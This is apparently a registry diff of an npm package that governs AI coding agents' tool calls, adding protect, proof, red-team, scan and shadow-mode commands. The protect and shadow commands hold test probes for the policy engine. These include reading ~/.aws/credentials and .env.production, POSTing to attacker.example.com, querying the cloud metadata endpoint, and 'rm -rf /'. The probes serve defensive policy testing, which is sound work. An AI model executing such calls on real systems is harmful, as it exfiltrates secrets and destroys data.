@cirvix_ai/agent-control 0.1.3 → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (81) hide show
  1. package/README.md +76 -17
  2. package/bin/cirvix.mjs +539 -85
  3. package/bin/escape-benchmark.mjs +67 -0
  4. package/package.json +36 -16
  5. package/src/adapters/base.mjs +150 -0
  6. package/src/adapters/claude-code.mjs +161 -0
  7. package/src/adapters/cline.mjs +107 -0
  8. package/src/adapters/codex.mjs +104 -0
  9. package/src/adapters/cursor.mjs +104 -0
  10. package/src/adapters/frameworks.mjs +110 -0
  11. package/src/adapters/gemini-cli.mjs +104 -0
  12. package/src/adapters/generic-mcp.mjs +101 -0
  13. package/src/adapters/index.mjs +209 -0
  14. package/src/adapters/roo-code.mjs +106 -0
  15. package/src/adapters/vscode.mjs +104 -0
  16. package/src/adapters/windsurf.mjs +107 -0
  17. package/src/commands/console.mjs +58 -0
  18. package/src/commands/demo.mjs +55 -124
  19. package/src/commands/doctor.mjs +235 -0
  20. package/src/commands/init.mjs +292 -30
  21. package/src/commands/interactive.mjs +690 -0
  22. package/src/commands/kill.mjs +74 -0
  23. package/src/commands/login.mjs +227 -0
  24. package/src/commands/onboard.mjs +52 -0
  25. package/src/commands/passport.mjs +149 -0
  26. package/src/commands/policy.mjs +10 -6
  27. package/src/commands/protect.mjs +293 -0
  28. package/src/commands/prove.mjs +209 -0
  29. package/src/commands/redteam.mjs +51 -0
  30. package/src/commands/scan.mjs +11 -9
  31. package/src/commands/shadow.mjs +62 -0
  32. package/src/commands/simulate.mjs +96 -0
  33. package/src/commands/status.mjs +122 -41
  34. package/src/commands/upgrade.mjs +11 -11
  35. package/src/commands/welcome.mjs +105 -0
  36. package/src/core/authority.mjs +909 -0
  37. package/src/core/baseline.mjs +97 -0
  38. package/src/core/config-store.mjs +280 -0
  39. package/src/core/cost.mjs +0 -0
  40. package/src/core/detect.mjs +4 -33
  41. package/src/core/entitlements.mjs +7 -24
  42. package/src/core/escape-benchmark.mjs +597 -0
  43. package/src/core/events.mjs +234 -0
  44. package/src/core/evidence.mjs +212 -0
  45. package/src/core/format.mjs +44 -18
  46. package/src/core/gateway.mjs +15 -211
  47. package/src/core/graph.mjs +270 -0
  48. package/src/core/guard.mjs +118 -4
  49. package/src/core/intent.mjs +166 -0
  50. package/src/core/journal.mjs +131 -40
  51. package/src/core/kill-switch.mjs +122 -0
  52. package/src/core/notices.mjs +22 -2
  53. package/src/core/packs.mjs +193 -0
  54. package/src/core/passport.mjs +555 -0
  55. package/src/core/pipeline.mjs +148 -6
  56. package/src/core/prompts.mjs +51 -0
  57. package/src/core/proof.mjs +440 -0
  58. package/src/core/redteam/index.mjs +185 -0
  59. package/src/core/referral.mjs +187 -0
  60. package/src/core/sandbox.mjs +139 -0
  61. package/src/core/session.mjs +172 -0
  62. package/src/core/shadow.mjs +95 -0
  63. package/src/core/theme.mjs +240 -0
  64. package/src/core/trifecta.mjs +321 -0
  65. package/src/core/ui/controller.mjs +192 -0
  66. package/src/core/ui/decisions.mjs +55 -0
  67. package/src/core/ui/index.mjs +49 -0
  68. package/src/core/ui/intercept.mjs +103 -0
  69. package/src/core/ui/live.mjs +51 -0
  70. package/src/core/ui/primitives.mjs +123 -0
  71. package/src/core/ui/theme.mjs +92 -0
  72. package/src/core/verified.mjs +108 -0
  73. package/src/core/windows.mjs +270 -0
  74. package/src/index.mjs +67 -0
  75. package/src/tui/activity.mjs +71 -0
  76. package/src/tui/app.mjs +292 -0
  77. package/src/tui/cards.mjs +235 -0
  78. package/src/tui/composer.mjs +88 -0
  79. package/src/tui/palette.mjs +48 -0
  80. package/src/tui/status.mjs +42 -0
  81. package/src/core/cinematic.mjs +0 -545
@@ -0,0 +1,293 @@
1
+ /**
2
+ * `cirvix protect <path>` — the command the product is named for.
3
+ *
4
+ * Seven stages, in the order a security engineer would actually work:
5
+ *
6
+ * DISCOVER what runtimes and frameworks are on this machine
7
+ * IDENTIFY which agent this is, and what it is allowed to be
8
+ * ANALYZE what it can currently reach that it should not
9
+ * POLICY the rules that will govern it, loaded or written
10
+ * RISK the aggregate, derived from the findings above
11
+ * ENFORCE real calls through the real pipeline, real verdicts
12
+ * AUDIT the chain those decisions were written to
13
+ *
14
+ * EVERY LINE IS A MEASURED RESULT.
15
+ *
16
+ * This is the whole discipline of the file and it is the part that is normally
17
+ * faked. Nothing here prints a number it did not compute. The ENFORCE stage in
18
+ * particular does not describe what the policy would do — it submits genuine
19
+ * tool calls to a genuine `Pipeline` over the rules just loaded, and prints the
20
+ * verdicts that came back. If the policy changes, the output changes. If the
21
+ * engine gets slower, the latency on screen goes up.
22
+ *
23
+ * `cirvix runtime` used to print "Agents 1 detected · 0 blocked · 0 approvals"
24
+ * as string literals. They happened to be true at startup, which is exactly
25
+ * what makes that kind of line dangerous: it reads as measurement, it survives
26
+ * review, and it is wrong the moment anything happens. Those are now computed
27
+ * (see bin/cirvix.mjs) and nothing in this file was allowed to repeat it.
28
+ *
29
+ * WHAT THIS COMMAND DOES NOT CLAIM. It does not leave a daemon running.
30
+ * Protection at runtime is `cirvix runtime` and `cirvix gateway`; this command
31
+ * establishes the policy, proves it decides correctly against real calls, and
32
+ * says plainly which command to run next. Printing "PROTECTION ACTIVE" and
33
+ * exiting would be a claim that ends with the process.
34
+ */
35
+
36
+ import { mkdir } from "node:fs/promises";
37
+ import { join } from "node:path";
38
+
39
+ import { AuditChain } from "../core/audit.mjs";
40
+ import { Pipeline } from "../core/pipeline.mjs";
41
+ import { DECISION } from "../core/decisions.mjs";
42
+ import { RISK, RISK_ORDER, riskRank } from "../core/risk.mjs";
43
+ import { detectRuntimes, detectFrameworks, collectMcpServers, detectCredentials } from "../core/detect.mjs";
44
+ import { bold, dim, green, red, amber, cyan, gray, isInteractive, plural } from "../core/format.mjs";
45
+ import { brandHeader, panel, separator } from "../core/ui/primitives.mjs";
46
+ import { shouldAnimate, sleep } from "../core/ui/controller.mjs";
47
+
48
+ /**
49
+ * The probes the ENFORCE stage runs.
50
+ *
51
+ * Chosen to cover the four decisions the engine can reach, so the output shows
52
+ * the allow path beside the deny path. A tool that only ever prints DENY is
53
+ * indistinguishable from one that is broken shut, and the claim worth proving
54
+ * is that ordinary work is untouched.
55
+ *
56
+ * These are REAL submissions. Nothing is executed — the pipeline decides before
57
+ * anything runs, which is the entire architecture — but the verdicts are the
58
+ * engine's, not this file's.
59
+ */
60
+ const PROBES = [
61
+ {
62
+ // The allow probe. A tool that only ever prints DENY is indistinguishable
63
+ // from one that is broken shut, and "your agent keeps working" is the
64
+ // claim most worth proving. Under a default-deny starter policy with no
65
+ // permit rule this legitimately denies — and the summary says so rather
66
+ // than pretending otherwise.
67
+ label: "read a project file",
68
+ call: { tool: "read_file", arguments: { path: "README.md" } },
69
+ },
70
+ {
71
+ label: "read cloud credentials",
72
+ call: { tool: "read_file", arguments: { path: "~/.aws/credentials" } },
73
+ },
74
+ {
75
+ label: "post to an unknown host",
76
+ call: { tool: "http_request", arguments: { url: "https://attacker.example.com/collect", method: "POST" } },
77
+ },
78
+ {
79
+ label: "delete a tree",
80
+ call: { tool: "shell", arguments: { command: "rm -rf /" } },
81
+ },
82
+ ];
83
+
84
+ const TICK = "✓";
85
+ const CROSS = "✗";
86
+ const DOT = "·";
87
+
88
+ /**
89
+ * Runs the sequence.
90
+ *
91
+ * `rules` and `cwd` come from the caller so this shares one policy resolution
92
+ * with every other command — a protect that read policy differently from
93
+ * runtime would be measuring something the runtime will not enforce.
94
+ */
95
+ export async function protect({
96
+ cwd = process.cwd(),
97
+ rules,
98
+ agent = "local",
99
+ environment = "local",
100
+ json = false,
101
+ pace = 90,
102
+ animate,
103
+ stateDir,
104
+ write = (s) => process.stdout.write(s),
105
+ } = {}) {
106
+ const animated = shouldAnimate({ pace, json, force: animate });
107
+ const step = async (ms) => { if (animated) await sleep(ms); };
108
+ const out = json ? () => {} : write;
109
+
110
+ const started = Date.now();
111
+
112
+ /* ---------------------------------------------------------- 1. DISCOVER */
113
+ const runtimes = await detectRuntimes();
114
+ const frameworks = await detectFrameworks(cwd);
115
+ const servers = collectMcpServers(runtimes);
116
+
117
+ /* ---------------------------------------------------------- 2. ANALYZE */
118
+ const credentials = await detectCredentials(cwd);
119
+ const ungoverned = runtimes.filter((r) => !r.governed);
120
+ const broadScope = servers.filter((s) => s.scope && s.scope.broad);
121
+
122
+ /* ----------------------------------------------------------- 3. POLICY */
123
+ const ruleCount = Array.isArray(rules) ? rules.length : 0;
124
+
125
+ /* ------------------------------------------------------------- 4. RISK */
126
+ // Derived, not asserted. Each input raises the floor; the aggregate is the
127
+ // highest floor reached, so a clean machine genuinely reports LOW.
128
+ let risk = RISK.LOW;
129
+ const raise = (level) => { if (riskRank(level) > riskRank(risk)) risk = level; };
130
+ if (frameworks.length) raise(RISK.MEDIUM);
131
+ if (ungoverned.length) raise(RISK.HIGH);
132
+ if (broadScope.length) raise(RISK.HIGH);
133
+ if (credentials.length) raise(RISK.HIGH);
134
+
135
+ /* ---------------------------------------------------------- 5. ENFORCE */
136
+ const dir = stateDir || join(cwd, ".cirvix");
137
+ await mkdir(dir, { recursive: true }).catch(() => {});
138
+ /* AuditChain takes a PATH, not an options object — and passing `{ path }`
139
+ is how this was first written. The engine caught it rather than papering
140
+ over it: with the chain unwritable, the pipeline refused every call with
141
+ "A call with no audit record is a call nobody can account for", which is
142
+ the fail-closed rule working exactly as designed. Worth leaving a note,
143
+ because a denied call that looks like a policy decision but is actually a
144
+ broken recorder is the single most misleading output this command could
145
+ produce.
146
+
147
+ open() reads the tail so appends continue an existing chain rather than
148
+ forking a second one beside it. */
149
+ const chain = await new AuditChain(join(dir, "audit.jsonl")).open();
150
+
151
+ const pipeline = new Pipeline({
152
+ rules: rules ?? [],
153
+ cwd,
154
+ agent,
155
+ environment,
156
+ audit: chain,
157
+ });
158
+
159
+ const probes = [];
160
+ for (const p of PROBES) {
161
+ const { event } = await pipeline.submit(p.call);
162
+ probes.push({
163
+ label: p.label,
164
+ tool: event.tool,
165
+ action: event.action,
166
+ resource: event.resource,
167
+ decision: event.decision,
168
+ verdict: event.verdict,
169
+ policy: event.policy,
170
+ reason: event.reason,
171
+ risk: event.risk,
172
+ latencyMs: event.latency_ms,
173
+ decisionId: event.decision_id,
174
+ });
175
+ }
176
+
177
+ const blocked = probes.filter((p) => p.decision === DECISION.DENY).length;
178
+ const held = probes.filter((p) => p.decision === DECISION.REQUIRE_APPROVAL).length;
179
+ const allowed = probes.filter((p) => p.decision === DECISION.ALLOW).length;
180
+
181
+ /* ------------------------------------------------------------ 6. AUDIT */
182
+ const verdict = await chain.verify();
183
+ const audit = {
184
+ records: verdict.records ?? 0,
185
+ // INTACT only when verify() actually said so. Anything else — including a
186
+ // chain that could not be read — is reported as not intact, because "we
187
+ // could not check" and "it is fine" are different sentences.
188
+ intact: verdict.ok === true,
189
+ head: verdict.head ?? null,
190
+ reason: verdict.ok === true ? null : verdict.reason ?? null,
191
+ };
192
+
193
+ const result = {
194
+ protectedAt: new Date().toISOString(),
195
+ cwd,
196
+ agent,
197
+ environment,
198
+ elapsedMs: Date.now() - started,
199
+ discovered: {
200
+ runtimes: runtimes.map(({ servers: _s, ...r }) => r),
201
+ frameworks,
202
+ mcpServers: servers.length,
203
+ },
204
+ findings: {
205
+ ungovernedRuntimes: ungoverned.map((r) => r.label),
206
+ broadScopeServers: broadScope.map((s) => s.name ?? s.label),
207
+ credentialFiles: credentials.map(({ keys: _k, ...c }) => c),
208
+ },
209
+ policy: { rules: ruleCount },
210
+ risk,
211
+ enforcement: { probes, blocked, held, allowed },
212
+ audit,
213
+ };
214
+
215
+ if (json) return { result, output: JSON.stringify(result, null, 2) };
216
+
217
+ /* ------------------------------------------------------------- render */
218
+ if (animated) out(brandHeader() + "\n");
219
+
220
+ const stage = async (name, detail, tone) => {
221
+ const mark = tone === "warn" ? amber(CROSS) : tone === "deny" ? red(CROSS) : green(TICK);
222
+ out(` ${mark} ${bold(name.padEnd(9))} ${detail}\n`);
223
+ await step(pace);
224
+ };
225
+
226
+ out(`\n ${bold("PROTECT")} ${dim(cwd)}\n\n`);
227
+
228
+ await stage("DISCOVER", `${plural(runtimes.length, "runtime")}, ${plural(frameworks.length, "framework")}, ${plural(servers.length, "MCP server")}`);
229
+ await stage("IDENTIFY", `${cyan(agent)} ${dim("in")} ${cyan(environment)}`);
230
+
231
+ const analyzeBits = [];
232
+ if (ungoverned.length) analyzeBits.push(`${ungoverned.length} ungoverned`);
233
+ if (broadScope.length) analyzeBits.push(`${broadScope.length} broad-scope`);
234
+ if (credentials.length) analyzeBits.push(plural(credentials.length, "credential file"));
235
+ await stage(
236
+ "ANALYZE",
237
+ analyzeBits.length ? analyzeBits.join(` ${DOT} `) : dim("nothing reachable that should not be"),
238
+ analyzeBits.length ? "warn" : null,
239
+ );
240
+
241
+ await stage("POLICY", `${plural(ruleCount, "rule")} loaded`);
242
+ await stage(
243
+ "RISK",
244
+ risk === RISK.LOW ? green(risk.toUpperCase()) : risk === RISK.MEDIUM ? amber(risk.toUpperCase()) : red(risk.toUpperCase()),
245
+ risk === RISK.LOW ? null : "warn",
246
+ );
247
+
248
+ out(`\n ${bold("ENFORCE")} ${dim("real calls, real verdicts")}\n\n`);
249
+ for (const p of probes) {
250
+ const tone =
251
+ p.decision === DECISION.DENY ? red("DENY")
252
+ : p.decision === DECISION.REQUIRE_APPROVAL ? amber("HOLD")
253
+ : green("ALLOW");
254
+ out(` ${tone.padEnd(16)} ${p.label.padEnd(28)} ${dim(p.policy || "no matching rule")} ${gray(p.latencyMs + "ms")}\n`);
255
+ await step(Math.round(pace * 0.6));
256
+ }
257
+
258
+ out(`\n ${green(TICK)} ${bold("AUDIT".padEnd(9))} ${audit.records} ${audit.records === 1 ? "record" : "records"}, chain ${audit.intact ? green("intact") : red("BROKEN")}\n`);
259
+ if (!audit.intact && audit.reason) out(` ${red(audit.reason)}\n`);
260
+ if (audit.head) out(` ${dim(audit.head)}\n`);
261
+
262
+ out("\n");
263
+ out(
264
+ panel({
265
+ title: "CIRVIX",
266
+ lines: [
267
+ ["Risk", risk.toUpperCase()],
268
+ ["Rules", String(ruleCount)],
269
+ ["Blocked", `${blocked} of ${probes.length} probes`],
270
+ ["Held", String(held)],
271
+ ["Allowed", String(allowed)],
272
+ ["Audit", audit.intact ? `${audit.records} records, intact` : "CHAIN BROKEN"],
273
+ ].map(([k, v]) => `${k.padEnd(9)} ${v}`),
274
+ }) + "\n",
275
+ );
276
+
277
+ if (allowed === 0) {
278
+ /* Said out loud rather than left to be inferred from four DENY lines. A
279
+ policy that refuses everything is trivially secure and useless, and the
280
+ reader needs to know which of the two they are looking at. */
281
+ out(`\n ${amber("Every probe was refused.")} ${dim("The active policy permits nothing yet — add a permit rule")}\n`);
282
+ out(` ${dim("for the work this agent actually does, then run protect again.")}\n`);
283
+ }
284
+
285
+ /* The honest close. This command proved the policy decides correctly; it did
286
+ not leave anything running, and saying otherwise would be a claim that
287
+ ends when the process does. */
288
+ out(`\n ${dim("Policy verified against real calls. Nothing is running yet.")}\n`);
289
+ out(` ${dim("Start enforcement:")} ${bold("cirvix runtime")}\n`);
290
+ out(` ${dim("Govern an MCP server:")} ${bold("cirvix gateway --servers <cmd>")}\n\n`);
291
+
292
+ return { result, output: "" };
293
+ }
@@ -0,0 +1,209 @@
1
+ /**
2
+ * `cirvix prove <decision-id>` and `cirvix verify <proof>`.
3
+ *
4
+ * prove — finds the decision in the local audit chain, takes the segment that
5
+ * covers it, and signs it.
6
+ * verify — checks a proof offline. No network, and no Cirvix.
7
+ *
8
+ * THE KEY. A workspace signs with a key it generates on first use and keeps in
9
+ * `.cirvix/proof-key.json` at 0600. That file is the whole security of a local
10
+ * proof, which is exactly why `verify` refuses to describe a locally-signed
11
+ * artifact as independent evidence: the holder of that key could sign a
12
+ * doctored history just as easily as a true one.
13
+ *
14
+ * The private half is never printed, never included in a proof, and never
15
+ * leaves the machine. Only the public half and the key id travel.
16
+ */
17
+
18
+ import { mkdir, readFile, writeFile, chmod } from "node:fs/promises";
19
+ import { join } from "node:path";
20
+
21
+ import { AuditChain } from "../core/audit.mjs";
22
+ import { buildProof, verifyProof, generateProofKeys, keyIdFor } from "../core/proof.mjs";
23
+ import { bold, dim, green, red, amber, gray } from "../core/format.mjs";
24
+ import { panel } from "../core/ui/primitives.mjs";
25
+
26
+ const KEY_FILE = "proof-key.json";
27
+
28
+ /**
29
+ * Loads this workspace's signing key, generating one on first use.
30
+ *
31
+ * 0600 because the file is the only thing standing between "this proof came
32
+ * from here" and "anyone who read the repo can mint one". chmod is
33
+ * best-effort: on Windows it is close to a no-op, which is a real limitation
34
+ * and is stated rather than hidden.
35
+ */
36
+ export async function loadOrCreateKey(stateDir) {
37
+ const path = join(stateDir, KEY_FILE);
38
+ try {
39
+ const existing = JSON.parse(await readFile(path, "utf8"));
40
+ if (existing.privateKey && existing.publicKey) return { ...existing, created: false, path };
41
+ } catch {
42
+ /* absent or unreadable — generate below */
43
+ }
44
+ await mkdir(stateDir, { recursive: true });
45
+ const keys = generateProofKeys();
46
+ await writeFile(path, JSON.stringify(keys, null, 2), "utf8");
47
+ await chmod(path, 0o600).catch(() => {});
48
+ return { ...keys, created: true, path };
49
+ }
50
+
51
+ /**
52
+ * The segment a proof covers.
53
+ *
54
+ * Everything from the start of the chain up to and including the decision,
55
+ * because a link is only checkable against the record before it. Taking the
56
+ * single record would produce an artifact that proves the record hashes to
57
+ * itself and nothing about where it sits.
58
+ */
59
+ function segmentFor(records, decisionId) {
60
+ const index = records.findIndex((r) => r.decision_id === decisionId || r.decisionId === decisionId);
61
+ if (index === -1) return null;
62
+ return records.slice(0, index + 1);
63
+ }
64
+
65
+ export async function prove({
66
+ decisionId,
67
+ cwd = process.cwd(),
68
+ stateDir = join(cwd, ".cirvix"),
69
+ policy = null,
70
+ json = false,
71
+ out = null,
72
+ write = (s) => process.stdout.write(s),
73
+ } = {}) {
74
+ const chain = new AuditChain(join(stateDir, "audit.jsonl"));
75
+ const records = await chain.read();
76
+
77
+ if (!records.length) {
78
+ const err = { error: "no_audit_records", message: "There is no audit chain in this workspace yet." };
79
+ if (json) return { result: err, output: JSON.stringify(err, null, 2), exitCode: 1 };
80
+ write(`\n ${red("No audit chain in this workspace.")}\n ${dim("Run `cirvix protect` or `cirvix runtime` first.")}\n\n`);
81
+ return { result: err, exitCode: 1 };
82
+ }
83
+
84
+ const segment = segmentFor(records, decisionId);
85
+ if (!segment) {
86
+ const err = { error: "decision_not_found", message: `No decision "${decisionId}" in this chain.`, records: records.length };
87
+ if (json) return { result: err, output: JSON.stringify(err, null, 2), exitCode: 1 };
88
+ write(`\n ${red(`No decision "${decisionId}" in this chain.`)}\n ${dim(`${records.length} records searched. Try \`cirvix logs\`.`)}\n\n`);
89
+ return { result: err, exitCode: 1 };
90
+ }
91
+
92
+ const key = await loadOrCreateKey(stateDir);
93
+ const decision = segment[segment.length - 1];
94
+
95
+ const { token, payload } = buildProof({
96
+ privateKey: key.privateKey,
97
+ keyId: key.keyId,
98
+ issuer: "local",
99
+ decisionId,
100
+ records: segment,
101
+ policy,
102
+ agent: decision.agent ?? null,
103
+ });
104
+
105
+ if (out) await writeFile(out, token + "\n", "utf8");
106
+
107
+ const result = {
108
+ decisionId,
109
+ issuer: "local",
110
+ keyId: key.keyId,
111
+ records: segment.length,
112
+ chainHead: payload.chainHead,
113
+ issuedAt: payload.issuedAt,
114
+ writtenTo: out ?? null,
115
+ proof: token,
116
+ };
117
+ if (json) return { result, output: JSON.stringify(result, null, 2), exitCode: 0 };
118
+
119
+ write(`\n ${bold("PROOF")} ${dim(decisionId)}\n\n`);
120
+ write(
121
+ panel({
122
+ lines: [
123
+ `${"Issuer".padEnd(11)} local (this workspace)`,
124
+ `${"Key".padEnd(11)} ${key.keyId}`,
125
+ `${"Records".padEnd(11)} ${segment.length}`,
126
+ `${"Chain head".padEnd(11)} ${payload.chainHead.slice(0, 30)}…`,
127
+ `${"Issued".padEnd(11)} ${payload.issuedAt}`,
128
+ ],
129
+ width: 62,
130
+ }) + "\n",
131
+ );
132
+ if (out) write(`\n ${green("✓")} written to ${bold(out)}\n`);
133
+ else write(`\n${gray(token)}\n`);
134
+ write(`\n ${dim("Check it:")} ${bold(`cirvix verify ${out ?? "<proof>"}`)}\n`);
135
+ /* Said here as well as in verify, because this is where someone decides
136
+ whether to send it to an auditor. */
137
+ write(` ${dim("A local proof shows this workspace has not altered the artifact since")}\n`);
138
+ write(` ${dim("signing. It is not independent evidence — the key that signed it lives here.")}\n\n`);
139
+ return { result, exitCode: 0 };
140
+ }
141
+
142
+ /* -------------------------------------------------------------------------- */
143
+
144
+ export async function verify({
145
+ proof,
146
+ publicKey = null,
147
+ cwd = process.cwd(),
148
+ stateDir = join(cwd, ".cirvix"),
149
+ json = false,
150
+ write = (s) => process.stdout.write(s),
151
+ } = {}) {
152
+ let token = String(proof ?? "").trim();
153
+ // A path or the artifact itself, because both are what people actually have.
154
+ if (token && !token.includes(".")) {
155
+ token = (await readFile(token, "utf8").catch(() => "")).trim();
156
+ } else if (token && token.length < 512) {
157
+ const fromFile = await readFile(proof, "utf8").catch(() => null);
158
+ if (fromFile) token = fromFile.trim();
159
+ }
160
+
161
+ let pub = publicKey;
162
+ if (!pub) {
163
+ // No key given: fall back to this workspace's own. That only ever verifies
164
+ // proofs this machine issued, which is the honest default — verifying
165
+ // someone else's proof requires their public key and should not silently
166
+ // appear to succeed without it.
167
+ try {
168
+ pub = JSON.parse(await readFile(join(stateDir, KEY_FILE), "utf8")).publicKey;
169
+ } catch {
170
+ const err = { verified: false, failed: "key", reason: "No public key given, and this workspace has none to fall back on." };
171
+ if (json) return { result: err, output: JSON.stringify(err, null, 2), exitCode: 1 };
172
+ write(`\n ${red("No key to verify against.")}\n ${dim("Pass --key <public-key.pem>.")}\n\n`);
173
+ return { result: err, exitCode: 1 };
174
+ }
175
+ } else if (!String(pub).includes("BEGIN")) {
176
+ pub = await readFile(pub, "utf8");
177
+ }
178
+
179
+ const result = verifyProof(pub, token);
180
+
181
+ if (json) return { result, output: JSON.stringify(result, null, 2), exitCode: result.verified ? 0 : 1 };
182
+
183
+ if (!result.verified) {
184
+ /* Which of the three checks failed, by name. "Invalid" tells an auditor
185
+ nothing they can act on; "the signature does not verify" and "the chain
186
+ breaks at record 4" lead to completely different investigations. */
187
+ write(`\n ${red(bold("NOT VERIFIED"))} ${dim("(" + result.failed + ")")}\n\n`);
188
+ write(` ${result.reason}\n\n`);
189
+ return { result, exitCode: 1 };
190
+ }
191
+
192
+ write(`\n ${green(bold("VERIFIED"))} ${dim("signature · chain · integrity")}\n\n`);
193
+ write(
194
+ panel({
195
+ lines: [
196
+ `${"Decision".padEnd(11)} ${result.decisionId}`,
197
+ `${"Issuer".padEnd(11)} ${result.issuer}`,
198
+ `${"Key".padEnd(11)} ${result.keyId ?? "—"}`,
199
+ `${"Agent".padEnd(11)} ${result.agent ?? "—"}`,
200
+ `${"Records".padEnd(11)} ${result.records}`,
201
+ `${"Policy".padEnd(11)} ${String(result.policy?.hash ?? "—").slice(0, 30)}…`,
202
+ `${"Issued".padEnd(11)} ${result.issuedAt}`,
203
+ ],
204
+ width: 62,
205
+ }) + "\n",
206
+ );
207
+ write(`\n ${result.issuer === "cirvix" ? green("●") : amber("●")} ${dim(result.attests)}\n\n`);
208
+ return { result, exitCode: 0 };
209
+ }
@@ -0,0 +1,51 @@
1
+ /**
2
+ * Continuous Red Teaming CLI Command.
3
+ *
4
+ * Runs automated adversarial security attacks against the active policy set.
5
+ */
6
+
7
+ import { Pipeline } from "../core/pipeline.mjs";
8
+ import { runRedTeamSuite } from "../core/redteam/index.mjs";
9
+ import { bold, dim, green, red, amber, cyan } from "../core/format.mjs";
10
+
11
+ export async function executeRedTeamCommand({
12
+ rules = [],
13
+ plugins = null,
14
+ json = false,
15
+ cwd = process.cwd(),
16
+ } = {}) {
17
+ const pipeline = new Pipeline({ rules, cwd });
18
+ const report = await runRedTeamSuite(pipeline, { plugins });
19
+
20
+ if (json) return { output: JSON.stringify(report, null, 2), code: report.testsBypassed > 0 ? 1 : 0 };
21
+
22
+ const tone = report.resilienceScore >= 90 ? green : report.resilienceScore >= 70 ? amber : red;
23
+
24
+ const lines = [
25
+ "",
26
+ ` ${bold("CIRVIX CONTINUOUS RED TEAMING REPORT")}`,
27
+ ` ${dim(`Execution timestamp: ${report.ranAt}`)}`,
28
+ "",
29
+ ` ${bold("Resilience Score:")} ${tone(bold(`${report.resilienceScore} / 100`))}`,
30
+ ` ${dim("Tests Passed / Blocked:")} ${green(`${report.testsBlocked}`)} / ${report.totalTests}`,
31
+ ` ${dim("Security Bypasses:")} ${report.testsBypassed > 0 ? red(`${report.testsBypassed}`) : green("0")}`,
32
+ "",
33
+ ` ${bold("Attack Findings:")}`,
34
+ ...report.findings.map((f) => {
35
+ const statusIcon = f.blocked ? green("✓ BLOCKED") : red("✗ BYPASS");
36
+ return ` ${statusIcon} ${bold(f.vector)} — ${dim(f.decision ?? "ALLOW")} ${f.ruleTriggered ? dim(`(${f.ruleTriggered})`) : ""}`;
37
+ }),
38
+ ];
39
+
40
+ if (report.policyRecommendations?.length > 0) {
41
+ lines.push("");
42
+ lines.push(` ${amber(bold("Recommended Remediation Policies:"))}`);
43
+ for (const rec of report.policyRecommendations) {
44
+ lines.push(` ${cyan("+")} ${rec}`);
45
+ }
46
+ }
47
+
48
+ lines.push("");
49
+
50
+ return { output: lines.join("\n"), code: report.testsBypassed > 0 ? 1 : 0 };
51
+ }
@@ -15,13 +15,13 @@ import {
15
15
  detectFrameworks,
16
16
  detectRuntimes,
17
17
  } from "../core/detect.mjs";
18
- import { bold, dim, green, red, amber, blue, plural } from "../core/format.mjs";
18
+ import { bold, dim, green, red, amber, blue, cyan, plural } from "../core/format.mjs";
19
19
 
20
- export async function scan({ cwd = process.cwd(), json = false, deep = false, phase = async (_label, fn) => fn() } = {}) {
21
- const runtimes = await phase("detecting agent runtimes", () => detectRuntimes(), (r) => `${r.length} found`);
22
- const frameworks = await phase("detecting agent frameworks", () => detectFrameworks(cwd), (f) => (f.length ? `${f.length} found` : "none"));
23
- const servers = await phase("collecting MCP servers", async () => collectMcpServers(runtimes), (s) => (s.length ? `${s.length} found` : "none"));
24
- const credentials = await phase("scanning for exposed credentials", () => detectCredentials(cwd), (c) => (c.length ? `${c.length} found` : "none"));
20
+ export async function scan({ cwd = process.cwd(), json = false, deep = false } = {}) {
21
+ const runtimes = await detectRuntimes();
22
+ const frameworks = await detectFrameworks(cwd);
23
+ const servers = collectMcpServers(runtimes);
24
+ const credentials = await detectCredentials(cwd);
25
25
 
26
26
  const findings = buildFindings({ runtimes, frameworks, servers, credentials });
27
27
  const counts = tally(findings);
@@ -53,7 +53,7 @@ function buildFindings({ runtimes, frameworks, servers, credentials }) {
53
53
  code: "runtime-ungoverned",
54
54
  subject: r.label,
55
55
  detail: `Tool calls from ${r.label} are not routed through a control plane. Anything it can reach, it can reach unchecked.`,
56
- fix: `cirvix gateway --servers ${r.path}`,
56
+ fix: `cirvix init --apply (or: cirvix gateway --servers ${r.path})`,
57
57
  });
58
58
  }
59
59
  }
@@ -135,10 +135,12 @@ function render(r, { deep }) {
135
135
  L.push("");
136
136
 
137
137
  // Runtimes
138
- L.push(` ${bold("runtimes")}${dim(pad("", 12))}${r.runtimes.length ? plural(r.runtimes.length, "found") : dim("none detected")}`);
138
+ L.push(` ${bold("runtimes")}${dim(pad("", 12))}${r.runtimes.length ? plural(r.runtimes.length, "runtime") : dim("none detected")}`);
139
139
  for (const rt of r.runtimes) {
140
140
  const state = rt.governed ? green("governed") : red("ungoverned");
141
- L.push(` ${pad(rt.label, 18)}${dim(shorten(rt.path))}`);
141
+ const level = rt.compatibilityLevel ?? (rt.governed ? "INTEGRATED" : "DISCOVERED");
142
+ const levelBadge = rt.governed ? cyan(`[${level}]`) : amber(`[${level}]`);
143
+ L.push(` ${pad(rt.label, 18)}${levelBadge} ${dim(shorten(rt.path))}`);
142
144
  L.push(` ${pad("", 18)}${state}${dim(` · ${plural(rt.serverCount, "MCP server")}`)}`);
143
145
  }
144
146
  if (r.frameworks.length) {
@@ -0,0 +1,62 @@
1
+ /**
2
+ * Shadow Mode CLI Command.
3
+ *
4
+ * Runs policy evaluation in shadow mode (observe & log hypothetical counterfactuals).
5
+ */
6
+
7
+ import { ShadowEngine } from "../core/shadow.mjs";
8
+ import { evaluate } from "../core/policy.mjs";
9
+ import { bold, dim, green, red, amber, cyan } from "../core/format.mjs";
10
+
11
+ export async function executeShadowCommand({
12
+ rules = [],
13
+ action = null,
14
+ resource = null,
15
+ json = false,
16
+ cwd = process.cwd(),
17
+ } = {}) {
18
+ const engine = new ShadowEngine();
19
+
20
+ // Test sample candidate actions in shadow mode
21
+ const candidates = [
22
+ { action: "fs:read", resource: "src/index.ts", tool: "file_reader" },
23
+ { action: "fs:read", resource: ".env.production", tool: "file_reader" },
24
+ { action: "net:fetch", resource: "https://api.stripe.com/v1/charges", tool: "curl" },
25
+ { action: "net:fetch", resource: "http://169.254.169.254/latest/meta-data/", tool: "curl" },
26
+ { action: "exec:run", resource: "rm -rf /", tool: "bash" },
27
+ ];
28
+
29
+ if (action) {
30
+ candidates.length = 0;
31
+ candidates.push({ action, resource: resource ?? "", tool: "custom" });
32
+ }
33
+
34
+ for (const c of candidates) {
35
+ engine.evaluateShadow(c, (call) => evaluate(call, rules, { cwd }));
36
+ }
37
+
38
+ const summary = engine.getSummary();
39
